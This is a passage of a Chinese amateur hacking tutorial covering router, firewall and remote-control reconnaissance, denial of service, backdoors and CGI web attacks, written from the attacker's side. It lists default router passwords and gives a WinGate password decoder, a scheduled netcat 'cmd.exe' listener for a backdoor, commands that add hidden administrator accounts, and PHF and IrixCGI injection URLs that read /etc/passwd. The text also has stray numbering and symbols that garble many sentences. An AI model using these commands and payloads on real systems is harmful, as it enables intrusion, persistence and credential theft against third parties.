注：由于笔者对UNIX了解不很深，这些有遗漏的方面请大家指出，指正。谢谢！
第七章：网络设备
网络是任何公司的生命之血，然而缺省情况下，一般的公司局域网或广域网（分别简称LAN和WAN）并不安全。这些脆弱点并不是小事，因为一旦攻击者拥有目标网络，他们也就占有了整个公司了。
1、 发现：端口扫描可以使用我们在前面讨论的方法实现。检测和标2、 识网络上地设备3、 只需要tracert、netcat和nmap等。
首先进行路径追踪，这样攻击者就可以确定自己与目标之间的各个主要路由器。这么做，就能够准确标识路由器的为止，然后拿路由器开刀！从下面例子，你就能比较轻松标识除路由器地址：
C:\>tracert 192.168.21.3
Tracert to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
熟悉192.168.0.1为最后一跳后，我们就能确定它是一台转发网络分组的路由器，因此它（以及该路径上的其他路由器）可能是攻击者首先探测的目标（实际上整个子网更像目标）。然而获取一台路由器的IP地址与发掘其中某个脆弱点相差悬殊，在能够利用其任何脆弱点之前，攻击者需要使用端口扫描、操作系统检测和信息泄漏技巧尝试标识它。
表：为标识网络设备，可扫描它们以找出常见的端口。
回想打开着的确定端口往往随协议栈的不同实现而定
硬件 TCP端口 UDP端口
Cisco路由器 21(ftp) 0(tcpmux)
23(telnet) 49(domain)
79(finger) 67(bootps)
80(http) 69(tftp)
512(exec) 123(ntp)
513(login) 161(snmp)
514(shell)
1993(Cisco SNMP)
1993(Cisco ident)
2001
4001
6001
9001(Xremote service)
Cisco交换机 23(telnet) 0(tcpmux)
7161 123(ntp)
161(snmp)
Bay路由器 21(ftp) 7(echo)
23(telnet) 9(discard)
67(bootps)
68(bootpc)
69(tftp)
161(snmp)
520(route)
Ascend路由器 23(telnet) 7(echo)
9(discard)
161(snmp)
162(snmp-trap)
514(shell)
520(route)
由上表可知，如果我们正在寻找一个Cisco路由器，那么可以专门扫描1～25、80、512~515、2001、4001、6001和9001这些TCP端口。因此我们可以扫描一下开始我们认为最后一跳很可能是路由器的那个IP以确定是否为Cisco路由器。
[japleak@root]$nmap -p 1-25,80,512-515,2001,4001,6001,9001 192.168.0.1
Starting nmap V.2.12 by Fyodor (fyodor@dhp.com,www.insecure.org/nmap/)
Interesting ports on (192.168.0.1):
Port State Protocol Service
7 open tcp echo
9 open tcp discard
13 open tcp daytime
19 open tcp chargen
23 filteredtcp tcp telnet
2001 open tcp dc
6001 open tcp x11:1
从上面的结果我们可以相信这正是一台Cisco路由器，不过还不能确定，也不知道其操作系统的版本。为了证实我们就厂家和操作系统级别所做的假设，我们就需要使用TCP协议栈指纹鉴别技巧。
大多数Cisco路由器的另一个特征是在vty端口（23号和2001号TCP端口）上提供的典型“User Access Verification”提示。简单的远程登陆（telnet）到前面叙述的这些端口，我们就能得到如下的旗标：
User Access Verification
Password：
SNMP：简单的网络管理协议（SNMP）是设计来帮助管理员简单的管理网络设备的一个协议。很多SNMP版本没有一个限制厂家提供出厂缺省的SNMP管理群名字，也不强制管理员使用不易猜中的密码作为SNMP管理群名字。SNMP管理群有两个类型：读和读/写。SNMP读管理群名字意味着只允许简单查看设备配置细节，例如系统描述、TCP和UDP连接以及接口等条目。读/写管理群名字则允许管理员往设备写出信息。举例来说，管理员可使用SNMP以一个简单的命令修改系统的联系人信息或增设一个路径：
Snmpset 10.12.45.2.1.3.6.1.2.1.1.s Smith
4、 后门：后门帐号是最难以理解的脆弱点之一，5、 这些帐号在允许厂家有能力绕过被封闭了的管理员帐号，6、 然而7、 现实效果是给了攻击者提供了进入所在网络的后门。
? 缺省帐号：下面我们以一个表把这些缺省帐号列出来：
表：有待修改的标准网络设备缺省用户名和密码
设备 用户名 密码 级别
Bay路由器 User 空 用户
Manager 空 管理员
Bay 350T交换机 NetICs 无关 管理员
Bay SuperStack II security security 管理员
3Com交换机 admin synnet 管理员
read synnet 用户
write synnet 管理员
debug synnet 管理员
tech tech
monitor monitor 用户
manager manager 管理员
Cisco路由器 (telnet) c(Cisco 2600s) 用户
(telnet) cisco 用户
enable cisco 管理员
(telnet) cisco routers
Shiva root 空 管理员
Guest 空 用户
Webramp wradmin trancell 管理员
Motorola cablecom router 管理员
CableRouter
注：(telnet)表示直接用telnet不用输入用户名。
? 网络设备? 脆弱点：由于此方面内容很难实现，? 加之笔者的水平有限，? 故不? 准备? 写出来，? 有需要了解的朋友可以跟我联系。见谅！
8、 共享式媒体对比交换式媒体：共享式媒体（例如以太网和令牌网）是近20年来传输数据分流的传统设备，9、 称为带碰撞检测的载波侦听多路访问（Carrier Sense Multiple Access/Collision Detection，10、 简称NSMA/CD）的以太网是由Xerox公司设计的。传统的以太网通过把发往目的节点的分组实际发送给所在网段上的每个节点来工作。这么一来，11、 目的结点接收这些分组（其他节点也能接收），12、 并与其他节点分享传输带宽。这里存在一个安全问题，13、 通过在共享媒体上发送分组，14、 实际上同15、 一网段的所有监听设备16、 都接受到了这些分组，17、 这样也就给网络上信息的安全性有了危险。
捕获SNMP信息：对于与目标系统同处一个共享式网段的内部攻击者来说，窃听该网络上流动的分组是一个很好的办法。这里可以使用Sniffer Pro、snmpsniff等软件可以进行网络数据的监听：
snmpsniff是一个非凡的工具，不仅能够攫取管理群名字，而且能够捕获SNMP的ser和get请求。以如下参数运行snmpsniff时会发现一些有意思的输出信息：
[japleak@root]$./snmpsniff . sh
snmpsniffer:listening on eth0
(05:46:12) 172.31.50.100(secret)->172.31.50.2 (ReqID:1356392156) GET:
<.iso.org.dod.internet.mgmt.mib-2.system.1.0>(NULL)=NULL
(05:46:12) 172.31.50.2(secret)->172.31.50.100(ReqID:1356392156)
RESPONSE (Err:0):<.iso.org.dod.internet.mgmt.mib-2.system.1.0>
(Octet String)=OCTET STRING-(ascii):Cisco Internetwork Operating System
Software...IOS(tm) 3000 Software (IGS-l-L),Version 11.0(16),Release SOFTWARE (fc1)..Copyright (c) 1986-1997 by cisco Systems,
Inc…Compiled
Tue 24-Jun-97 12:20 by jaturner
得到上面的信息后，攻击者现在可以知道一个所用的管理群名字之一（“secret”），它碰巧是IP地址为172.31.50.2的路由器的读/写管理群名字。攻击者于是不仅能够使用这个读/写管理群名字侵害已有的网络基础设备，而且能够通过关注其中SNMP分组的来源（172.31.50.200）以获取新的目标，因为它通常是网络运行中心的一个系统。
第八章：防火墙
所谓防火墙，就是指一种将内部网和公众网访问网（Internet）分开的方法，实际是一种隔离技术。当今市场上存在两类主导性的防火墙：应用代理和分组过滤网关。如果不犯错误，从设计到配置再到维护都做得很好的防火墙差不多是不可渗透的。事实上，大多数熟练的攻击者知道这一点，通过发掘信任关系和最薄弱环节上的安全脆弱点来绕过防火墙，或者经由拨号帐号实施攻击来根本避开防火墙。
1、 防火墙的标2、 识：几乎所有的防火墙都会具有自己独特的电子“气味”。也就是说凭借端口扫描、firewalk工具和旗标3、 攫取等技巧，4、 攻击者能够有效的确定目标5、 网络上几乎每个防火墙的类型、版本和规则。一旦知道这些内容，6、 他们就可以尝试一些已经发掘了的漏洞。
? 直接扫描：查找防火墙最容易的方法就是对特定的缺省端口执行扫描。市场上有些防火墙都会在特定的端口标? 识自己。举例来说，? CheckPoint的Firewall-1在256、257和258号TCP端口监听，? Microsoft的Proxy Server则通常在1080和1745号TCP端口上监听。知道这一点后，? 就可以使用nmap这样的端口扫描程序来搜索这些类型的防火墙就能轻而? 易举了：
nmap -n -vv -p0 -p256,1080,1745 192.168.50.1-60.254
其中-p0开关用于在扫描之前禁止ICMP ping。这一点很重要，因为大多数防火墙并不对ICMP回射请求应答。这就是我们经常ping一些站点出现超时提示的原因。
? 路径跟踪：找到某个网络上的防火墙最妙的方法是使用tracert，? 这样可以找出到达主机的路径上的每一跳，? 并做些检测工作。在Linux的Traceroute有一个-I选项，? 它指? 定发送ICMP分组执行路径跟踪，? 这一点不同? 于缺省发送UDP分组的技巧。
[japleak@root]$traceroute -I 192.168.21.3
Traceroute to (192.168.21.3),30 hops max,40byte packets
1 gate2 (192.168.10.1) 5.391ms 5.107ms 5.559ms
2 rtr1.bigisp.net (10.10.12.13) 33.374ms 33.443ms 33.137ms
3 rtr2.bigisp.net (10.10.12.14) 35.100ms 34.427ms 34.813ms
4 hssitrt.bigisp.net (192.168.0.1) 43.030ms 43.941ms 43.244ms
5 gate.Acme.net (192.168.21.3) 43.803ms 44.041ms 47.835ms
到达目标之前的最后一跳（192.168.0.1）是防火墙的机会很大，不过现在还不能肯定，我们还要继续作一点挖掘工作。如果本地主机和目标服务器之间的路由器对TTL已过期分组作出响应，那么上面的例子没有问题。但是有些路由器和防火墙设置成不返送ICMP TTL已过期分组。这种情况下所作的推断就不科学了。你所作的就是开始运行traceroute，查看哪一跳最后响应，然后推断它或者是真正的防火墙，或者是路径上开始阻塞路径跟踪分组的第一个路由器，举例来说，下面的traceroute输出中，ICMP探测分组被阻塞在到达目的地之前，client-gw.smallisp.net之后就不再有响应了：
1 stoneface (192.168.10.33) 12.640ms 8.367ms
2 gw1.localisp.net (172.31.10.1) 214.582ms 197.992ms
3 gw2.localisp.net (172.31.10.2) 206.627ms 38.931ms
4 ds1.localisp.net (172.31.12.254) 47.167ms 52.640ms
……
15 ATM7.SDG.BIGISP.NET (10.50.2.5) 234.668ms 384.525ms
16 client-gw.smallisp.net (10.50.3.250) 244.065ms !×* *
17 * * *
18 * * *
? 旗标? 攫取：扫描防火墙端口有助于定位防火墙，? 不? 过大多数防火墙并不? 是在默认的端口监听，? 因此还需要其他定位防火墙的方法。许多流行的防火墙只要简单的连接他们他们就会声明自己的存在。例如，? 我们在21端口（FTP）上使用netcat连接到一台相信是防火墙的主机时，? 看到了一些有意思的信息：
C:\TEMP>nc -v -n 192.168.50.129 21
(UNKNOWN)[192.168.51.129]21(?)open
Eagle Secure Gateway.
Hostname:
如果还不相信这台主机是防火墙，那么我们对25端口（SMTP）执行netcat，这将告知它确实是：
C:\TEMP>nc -v -n 192.168.50.129 25
(UNKNOWN)[192.168.51.129]25(?)open
421 fw3-acme.com Sorry,the firewall does not provide mail service to you.
通过上面的例子可以看出，旗标信息可以标识防火墙的一些种类，对于攻击者就可以发掘众所周知的脆弱点进行攻击。
7、 穿透防火墙的扫描：由于防火墙的特殊功能，8、 可以过滤掉很多TCP、UDP数据包，9、 所以这样一来就让很多扫描器失去了作用，10、 下面我们将要介绍两个工具，11、 让我们能更加了解主机信息：
? hping：这个由Salvatore Sanfilippo编写的hping通过向一个目的端口发送TCP分组并报告由它引回的分组进行工作。依据多种条件，? hping返回各种各样的响应。每个分组部分或全面的提供了防火墙具体访问控制的相当清晰的画面。举例来说，? 使用hping可以发现打开着、被阻塞、被丢弃或者被拒绝的分组。
下面的例子中，hping报告80端口打开着，准备好接收连接。我们是从它接收到一个设置了SA标志的分组（SYN/ACK分组）获悉的。
[japleak@root]$hping www.yourcompany.com -c2 -S -p80 -n
HPING www.yourcompany.com (eth0 172.30.1.20):S set,40 data bytes
60 bytes from 172.30.1.20:flags=SA seq=0 ttl=242 id=65121 win=64240 time=144.4ms
现在我们知道了穿越防火墙到达目标系统的一个打开着的端口，不过还不清楚防火墙在哪里。下一个例子中，hping报告从192.168.70.2接收到一个代码为13的ICMP不可达类型分组。我们知道ICMP类型为3代码为13的分组是ICMP Admin Prohibited Filter分组，它通常是从某个分组过滤掉路由器发出的：
[japleak@root]$hping www.yourcompany.com -c2 -S -p23 -n
HPING www.yourcompany.com (eth0 172.30.1.20):S set,40 data bytes
ICMP Unreachable type 13 from 192.168.70.2
现在我们证实192.168.70.2很可能就是我们的防火墙了，因为它明确阻塞了去往目标系统23号端口的探测分组。换句话说，如果它是一个Cisco路由器，那么其配置文件中也许有如下所示一行：
access-list 101 deny tcp any any 23 ! telnet
这个hping结果表明以下两件事情之一：（1）探测分组不可达目的地，在中途丢失；（2）更可能的是，某个设备（也许就是防火墙）作为其ACL规则的一部分丢弃了探测分组。
? firewalk工具：这个工具将扫描一个防火墙的某个下游主机，? 并且不? 需要真正触及目标? 系统就往回报告允许到达主机的规则；firewalk通过构造其TTL值专门计算过的IP分组来工作，? 该TTL值在相应分组过防火墙时只剩下最后一跳。如果防火墙允许该分组通过，? 那么它将如期地过期，? 从而? 引发一个TTL在传输中过期的消息。相反，? 如果该分组被防火墙的ACL规则所阻塞，? 那么他们将被丢失，? 从而? 要么不? 发送任何响应，? 要么发送一个ICMP类型未3代码为13的“admin prohibited filter（管理上受禁而? 过滤）”分组。
[japleak@root]$firewalk -Ptcp -s135-140 10.22.3.1
192.168.1.1
Ramping up hopcounts to binding host…
Probe:1 TTL:1 port 33434:expired from [exposed.acme.com]
Probe:2 TTL:2 port 33434:expired from [rtr.isp.net]
Probe:3 TTL:3 port 33434:Bound scan at 3 hops [rtr.isp.net]
Port 135:open
Port 136:open
Port 137:open
Port 138:open
Port 139:*
Port 140:open
12、 应用代理脆弱点：现在局域网上网使用的最多的还是一些第三方软件，13、 通常都会使用两种比较常见的软件：sygate和wingate。
首先我们看看sygate的脆弱点吧，还是以举例子说明这一点：
C:\>telnet 192.168.1.1 7323
SyGate 3.0 for Windows 95/98/NT build 522
Wecome to SyGate remote controller!
For security purpose,SyGate remote controller can be access
Only from your Local Area Network(LAN)
= = = = = = = Function Key = = = = = = =
P Stop SyGate Service
D Display SyGate Status
N To Dial (Dial-UP Networking only)
F ToHangUP (Dial-Up Networking only)
T Display All TCP Connection(s)
U Display All UDP Connection(s)
Ready to accept command,Press one function key,or ‘H’ for help.
我们在这里选择P，就相应地停止了Sygate地工作，使的整个网络与互联网断开，这个脆弱点虽然不能暴露什么东西，不过对于邪恶的攻击者来说已经做到了很可怕的一面。其主要地问题是没有设置密码控制台。
然后我们再来看看Wingate 3.0的问题：
问题一：攻击者可以远程读取系统文件：
http://代理IP:8010/c:/-NT/Win9x
http://代理IP:8010//-NT/Win9x
http://代理IP:8010/…./-NT/Win9x
问题二：WinGate容易受到拒绝服务攻击：Winsock重定向服务被绑定在2080端口上，连接到这个端口，发送超过2000Byte，然后中断连接，Winsock将停止服务。
问题三：WinGate 3.0使用若加密的密码：WinGate的密码只经过简单加密后就存放在注册表中，任意用户都可以读取它，并且很容易解密。解密程序如下：
#include “stdafx.h”
#include
#include
main (int argc,char * argv[])
{
char I;
for (I=0;I<strlen(argv[1]);I++)
putchar(argv[1][I]^ (char)((I+1)<<1));
return 0;
}
问题四：可以使用WinGate轻松当作跳板：以例子说明这一点：
C:\>telnet 192.168.0.1
Trying 192.168.0.1
Connected to 192.168.0.1
Escape character is ‘^]’
Wingate>10.50.21.5
Connecting to host 10.50.21.5…Connected
SunOS 5.6
Login:
熟悉用代理当跳板的攻击者就知道这样通过代理十分方便的隐藏了自己的踪迹！
第九章：拒绝服务器攻击
上面的章节，我们已经多次提到拒绝服务器(DoS)攻击，那到底应该怎么做呢？下面我们开始讨论拒绝服务攻击的方法：
1、 DoS攻击者的动机：上面已经讨论了多种进入主机的方法，2、 不3、 过如果一个攻击者遇到的恰恰是用以上的任何一种方法都不4、 能进入的主机怎么办呢？对于那种无赖的攻击者只有最后一招了：拒绝服5、 务攻击！其实这也是一种损人又不6、 利己的行为，7、 现在很多拒绝服8、 务攻击都是点击式的攻击，9、 所以不10、 需要攻击者对网络知识有比较深入的了解都可以办到。
11、 DoS攻击类型：DoS攻击一般分为四种类型：宽带耗用；资源衰竭；编程缺陷；路由和DNS攻击。
? 带宽耗用：不? 知道大家是否还记得2001年5月期间的中美网络大战中，? 有些朋友说用ping -l 65535 www.whitehouse.net -t攻击美国白宫，而? 且当时声势浩大，? 虽然结果好像也不? 太成功，? 不? 过这里足以说明了带宽耗用的拒绝服? 务器攻击。形式一：攻击者因为拥有更多的带宽，? 能够造成受害者网络链路的堵塞。这就像拖拉机与牛车相碰一样，? 较大的交通工具将赢得这场冲突。形式二：攻击者通过征用多个网点集中向目标? 系统发送他们的数据包，? 通过网点放大，? 只一个56Kvbps网络就足够填满一个具备? T3网络连接（45Mbps）的一个网络。
? 资源衰竭：资源衰竭攻击与带宽耗用攻击的差异在于前者集中于系统资源而? 不? 是网络资源的消耗。一般来说，? 它涉及诸如CPU利用率、内存、文件系统限额和系统进程总数之类系统资源的消耗。攻击者往往拥有一定数量系统资源的合法访问权。然而? 他们会滥用这种访问权消耗额外的资源。这么一来，? 系统或合法用户被剥夺了原来享有的资源分额。资源衰竭DoS攻击通常会因为系统崩溃、文件系统变满或进程被挂起等原因而? 导致不? 可用的资源。
? 缺陷编程：缺陷编程是应用程序、操作系统或嵌埋式逻辑芯片在处理异常条件上的失败。这些异常条件通常在用户向脆弱的元素发送非期望的数据时发生。比如一个提供ASP空间的服? 务器，? 如果没有仔细检查ASP，? 就可能被ASP中设定的超时会话而? 让CPU一值处于等待连接状态，? 严重的影响了系统的工作。
? 路由和DNS攻击：基于路由的DNS攻击涉及攻击者操纵路由表项以拒绝对合法系统和网络提供服? 务。基于域名? 系统（DNS）的攻击跟基于路由攻击一样烦人。大多数DNS攻击涉及劝服? 受害者域名? 服? 务器高速缓存虚假的地址信息。这样合法的用户请求某台DNS服? 务器执行查找请求时，? 攻击者就达到了把他们重定向到自己喜欢的网点上的效果，? 某些情况下还被重定向到黑洞网络中。
12、 通用的DoS攻击手段：
? smurf：smurf攻击因其放大效果而? 成为最令人害怕的DoS攻击之一。这种放大效果是往一个网络上的多个系统发送定向广播的PING请求，? 这些系统接着对这种请求作出响应的结果。定向广播的PING请求既可能发送给网络地址，? 也可以发送给网络广播地址。
Smurf攻击利用了定向广播，需要至少3个角色：攻击者、放大网络和受害者。攻击者向放大网络的广播地址发送源地址为造成受害系统的ICMP回射请求分组，这样看来像是受害者系统发起了这些请求。放大效果开始表现，既然这些请求分组是发送给广播网络地址的，放大网络上的所有系统于是对受害者系统作出响应。如果攻击者给一个拥有100个会对广播PING请求作出相应的系统的放大网络发送了单个ICMP分组，那么从效果看他把DoS攻击放大了100倍。
? SYN淹没：在smurf攻击开始流行之前，? SYN淹没一直是最具有破坏力的DoS攻击。在上面章节中我们也曾提到TCP连接的过程，? 现在我们再讲一讲：
TCP连接是一个三路握手过程：通常情况下，SYN分组从客户机A上某个确定的端口发出，到达服务器B上某个处于监听状态的端口。此时，服务器B上这个潜在连接处于SYN_RECV状态。服务器B接着尝试往客户机A发回一个SYN/ACK分组。如果一切都没有问题，客户机A就会再发出一个ACK分组，连接于是转移到ESTABLISHED（已建立）状态。
这种机制在大多数情况下工作很好，然而却存在攻击者可用来创建DoS条件的某些内在不足。问题在于大多数系统会在设置一个潜在连接即尚未完全建立的连接时分配一定数量的资源。发动SYN攻击时，攻击者会发送一个从系统A到系统B的SYN分组，不过其源地址却被欺一个不存在的系统。系统B于是试图发送一个SYN/ACK分组到这个欺骗性地址。要是这个被冒充的地址存在，那么他会给系统B响应一个RST分组，因为它并没有发起这个连接。然而攻击者选择冒充的却是一个不存在的系统，这么一来，系统B发出SYN/ACK分组后却再也收不到相应的RST分组和ACK分组。这个现在处于SYN_RECV状态的潜在连接被系统B置于一个连接队列中。系统B现在承担着把这个潜在连接设置完毕的义务，直到连接建立定时器发生超时时而把潜在在该连接冲刷出连接队列为止。连接定时器的设置各个系统不一样，如果稍长，比如2分钟，而攻击者不断发出SYN淹没，本来还没有冲刷出连接队列的队列中又将有更多的连接请求，造成整个系统资源衰竭。
? DNS攻击：在早于4.9.5+P1的BIND版本在使能DNS递归的前提下会告诉缓存虚假的DNS信息。递归功能允许名? 字服? 务器处理不? 是自己所服? 务区域的解析请求。当某个名? 字服? 务器接受到一个不? 是自己所服? 务区域的查询请求时，? 它将把该请求间接创送给所请求区域的权威性名? 字服? 务器。从这个权威性服? 务器接收到相应后，? 最初的名? 字服? 务器把该相应发回给请求方。
然而不幸的是，如果在脆弱的BIND版本上使能了递归功能，难么攻击者可能毒害执行递归查询的名字服务器的高速缓存。这称为PTR记录欺诈的攻击手段，它发掘的是从IP地址映射到主机名过程的漏洞。尽管依赖于主机名查找的信任关系中的漏洞发掘存在严厉的安全应对措施，执行DNS攻击的可能性已然存在。举例来说，攻击者可以尝试劝服目标服务器高速缓存把www.abccompany.com映射成0.0.0.10（一个不存在的IP地址）的信息。当这个脆弱的名字服务器的客户请求解析www.abccompany.com并进行访问该站时，他们将永远接受不到来自0.0.0.10的回答，于是有效的达到了拒绝www.abccompany.com所提供的服务。
第十章：远程控制的不安全性
全球互联的经济负担使的对它的全局管理成为必要。假设系统管理员总不在现场，随时准备走到行为有误的计算机旁排除问题。其补救措施就是使用远程控制软件，诸如pcAnywhere、ControlIT、ReachOut和Timbuktu之类的远程控制软件对于管理员来说是天赐的宝物，因为他们可以帮助管理员虚拟的跳到某个用户的主机上排出问题或辅助完成某个任务。然而很糟糕的是，这些软件都可能被误配或充满了安全脆弱点，这就允许攻击者获取目标系统的访问权，下载敏感的信息，甚至使用一台计算机攻击整个公司，使的整个过程看起来像是某个雇员在攻击自己的机构。
1、 发现远程控制软件：一般远程控制软件都跟一些防火墙一样在一些默认的端口进行监听，2、 这样无疑给攻击者暴露了远程控制软件类型的危险。攻击者就可以针对远程控制软件的缺陷或者可能出现的错误配置而3、 达到控制系统的目的，4、 下面我们首先列出常见的远程控制软件的一些默认端口：
表：通过扫描指定端口提示的远程控制软件产品
软件 TCP端口 UDP端口 允许其他端口
Citrix ICA 1494 1494 不清楚
PcAnywhere 22、5631、5632、65301 22、5632 是
ReachOut 43188 无 否
Remotely Anywhere 2000、2001 无 是
Remotely Possible/ControlIT 799、800 800 是
Timbuktu 407 407 否
VNC 5800、5801… 无 是
上表中，对于允许修改端口的软件，必须要被管理的主机和管理的主机同时都更改了端口，才可以使用新的端口。为了发现一个利用远程控制端口控制的主机，我们就可以利用netcat对一段IP地址范围扫描一些常见的端口号。
nc -v -n -z -w 2 192.168.10.251 407 799 1494 2000 5631 5800 43188
一谈及扫描我们就会想到黑客工具箱中的必备工具，Linux下的nmap，它也可以实现同样的功能：
nmap -sS -p 407 799 1494 2000 5631 5800 43188 -n 192.168.10.0/24
5、 脆弱点：
? 明文保存的用户名? 和密码：Remotely Possible 4.0在存放用户名? 和密码上没有任何保密性可言，? 他们被存放在 \Program Files\Avalan\Remotely Possible\Main.sab文件中，? 以明文形式保存用户的用户名? 与密码。
? 经过模糊处理的密码：ControlIT 4.5版本已经修复? 了Remotely Possible 4.0以明文形式存放的用户名? 和密码的漏洞，? 然而? 取而? 代之的是，? 他们仅仅实现了一个简单的替换算法来加密密码。举例来说，? 密码“abcdabcd”的加密结果是“p|xdp|xd”。一旦知道这个弱点后，? 攻击者同? 样可以映射整个字母表，? 从而? 迅速的映射出任意的密码。
? 提示出来的密码：很多远程管理软件在用户输入密码的时候并没有打补丁，? 这样就可以通过一个GUI的软件Revelation解密。使用这个软件时，? 可以把它拖到密码栏，? 就能很轻松的提示星号后的密码。
? 上传配置文件：攻击者一旦通过某种方法获得了一个NT系统的管理权限，? 他们就可以通过上传自己的配置文件（例如.CIF或MAIN.SAB文件），? 从而? 自动获取该系统的访问权。PcAnywhere和Remotely possible4.0都容易受到这种攻击，? 攻击者通过执行以下步骤完成：
（1） 在自己的pcAnywhere或Remotely possible4.0拷贝上中创建一个连续配置文件。
（2） 确定目标（3） 系统上该文件的存放位置，（4） 然后把本地上的配置文件拷贝到目标（5） 系统上的\DATA\或\AVALAN\REMOTE POSSIBLE\目录中。
（6） 使用pcAnywhere或Remotely possible4.0连接目标（7） 系统，（8） 再使用自己的用户名（9） 和密码取得完全访问权限。
第十一章：高级技巧
这一章我们分为三大板块：会话劫持、后门和特洛伊木马，下面我们逐步来讨论各个方法的使用：
1、 会话劫持：把TCP劫持从理论付诸实施的是一个叫做Juggernaut的软件，2、 这个自由软件产品是开创性的，3、 因为它能窥探TCP连接时并临时劫持它。这就使的攻击者能够向该连接的真正用户那样提交命令。举例来说，4、 如果攻击者使用的网络设备5、 处于与网络运行中心之间的某个共享网络媒体上，6、 那么他们就能窥探这个链路上所发生的所有连接，7、 并盗用其中的telnet会话或Cisco路由器上的enable密码。
Juggernaut
+------------------------------+
?) Help
0) Program information
1) Connection database
2) Spy on a connection
3) Reset a connection
4) Automated connection reset daemon
5) Simplex connection hijack
6) Interactive connection hijack
7) Packet assembly module
8) Souper sekret option number eight
9) Step Down
Juggernaut的最佳特性之一是Simplex connection hijack（单工连接劫持），他允许攻击者往本地系统提交命令。Interactive connection hijack（交互连接劫持）特性总是难以使用，因为交互连接往往会因ACK风暴而崩溃。
8、 后门：入侵者一旦获得了最高权限，9、 就会在系统上留下后门，10、 供下次进入主机时候用，11、 一般创建后门有以下一些方法：
? 用户帐号：在Windows NT/2000上创建一个帐号使用net user username password /add命令，? 把帐号添加入管理员组用net localgroup administrators username /add。不? 过这样可以很方便的在NT/2000的计算机用户管理中看见，? 这种方法只适合于没有一点安全意识的管理员。在UNIX下，? 常用的方法是创建一个貌似无辜但UID或GID却设为0的用户帐号。还应该检查所属用户组与root用户的GID相同? 的帐号，? 首先在/etc/passwd文件中查看，? 接着在/etc/group文件中查看。
? 启动文件：在NT/2000上这个启动方面已经有很多说明了，? 我把这篇文档的原始材料放在附录里，? 有兴趣可以看看。我们要讨论的还有UNIX，? UNIX平台攻击者频繁运用rc.d目录下的文件来安装后门。确保检查每一个rc文件，? 找出其中不? 熟悉的或新添加的程序。Inetd.conf文件也可能用于设置陷阱。Inetd.conf是UNIX上互联网超级服? 务程序inetd的配置文件，? inetd根据客户请求动态运行各种网络服? 务器程序，? 例如FTP、telnet、finger等等的服? 务器。Inetd.conf文件中也可能找到有嫌疑的守护程序。
? 受调度的作业：说起这个，? 绝大部分攻击者绝对不? 会陌生，? 一般攻击者开始在主机上都没有执行的权限，? 所以很多攻击者都用一些很普通的权限上传文件，? 然后通过NT/2000的Schedule服? 务处理程序。现在还是举一个很常用的例子说明这一点：
C:\>net use \\192.168.202.44\ipc$ “password” /user:”username”
C:\>copy c:\hacker\nc.exe \\192.168.202.44\admin$
C:\>at \\192.168.202.44 12:00 A /every:1 “” nc -d -L -p 8080 -e cmd.exe “”
该命令每天中午12点在8080端口上启动一个新的监听器，这样一来攻击者就可以使用netcat简单的连接到该监听中的端口取得一个命令shell。当然这里可以用于各批处理检查是否存在一个netcat监听，如果没有就可以用它启动。
12、 特洛伊木马：由于这种方法在上面攻击Windows 95/98都讲解的比较详细了，13、 有关方法请查阅以上的相关章节。
第十二章：攻击WEB
1、 WEB盗窃：其实这种方法很少有人使用，2、 不3、 过这种方法也能得到很多有用信息。编程人员为了以后修改网页代码方便，4、 一般都会加入一些注解。这其中可能有用户名5、 、密码、电子邮件信息、最后更新日期、数据库等有用的数据。因此查看web的源代码就能找到一些有用或无关的信息，6、 不7、 过这个过程是很方便的，8、 对于真正有针对性的攻击来说是特别重要的。
9、 找出众所周知的脆弱点：不10、 知道大家还记得否？最近的万11、 花谷、玫瑰骑士等网站浏览后……不12、 说了吧，13、 一段伤心的经历。他们主要是利用了Javascripts或一些ActiveX控件，14、 利用IE或者Netscape的一些没有对脚本充分验证的分上达到破坏用户主机的目的。我们将在附录中附带《网络休闲庄》对这方面的讲解代码。
15、 输入验证攻击：这将是一个很大的部分，16、 输入验证攻击利用了具备17、 有WEB开发人员或厂家的一些失误造成的公共网关接口（Common Gateway Interface，18、 简称CGI）程序、主动服19、 务器页面（Active Server Page，20、 简称ASP）和冷熔标21、 记语言（Cold Fusion Markup Language，22、 简称CFML）程序发动攻击。其基本问题出自这些程序在验证提供给指23、 定脚本的输入上的有效性上存在不24、 足。没有输入验证和净化的话，25、 攻击者有可能作为一个参数提交一个特殊字符合一个本地命令，26、 让web服27、 务器在本地执行命令。
不知道大家是否还记得，Unicode漏洞自从被发掘出来，已经让攻击者或轻或重的让成千上万的主机遭到了很大的损失，这就是一个典型利用输入验证重CGI脆弱点的典型例子。由于这方面的文章比较多，这里就不用详细讲解了，附录中讲附带网上关于这方面的讲解。
另外，已经有很多的CGI漏洞都被纳入了一篇IIS攻击大全的一篇综合性文章中了。比这将在附录中附出来，供读者参考。下面我们针对上面还没有谈及到的一些问题进行一定的分析。
电话薄脚本（PHF）的漏洞，这个漏洞在第六章已经有了一定的讲解了，就是通过一个不合理的请求产生的漏洞：
http:// www.target.com/cgi-bin/phf? Qalias=x%0a/bin/cat%20/etc/passwd
由于时间和篇幅的关系，详细说明参见第六章攻击UNIX系统的相关说明。
我们接下来讨论一下IrixCGI问题，IrixCGI处理程序的脆弱点可让攻击者把所提供的命令传递给脚本，从而在服务器本地执行他们。以下URL可用于查看密码文件（前提是WEB服务器用户拥有足够的权限）：
http://www.company.com/cgi-bin/handler/something;cat<tab>/etc/passwd |? data=Download<tab>HTTP/1.0
注意：<tab>表示一个真实制表符。
接下来讨论test-cgi漏洞，这个最初有L0pht的一个国外的黑客小组发现的脆弱点允许攻击者远程清点受影响WEB服务器上的文件。举例来说，攻击者可以使用以下URL列出cgi-bin目录下的所有文件和目录：
http://www.company.com/cgi-bin/test-cgi?*
将导出结果显示QUERY_STRING环境变量的值：
QUERY_STRING=count.cgi createuser.pl nph-test-cgi phf php.cgi search.pl test-cgi wwwcount.cgi
再接下来就是讨论ASP的脆弱点了，虽然这有存在在浏览器中显示ASP源代码的严重漏洞，不过现在在绝大部分的主机系统已经不存在这个漏洞的威胁了。
下面摘录天极网关于ASP安全性的讲解文章《ASP网络安全讲述》：
ASP网络安全讲述
2000-05-29· 小 鸟·CPCW
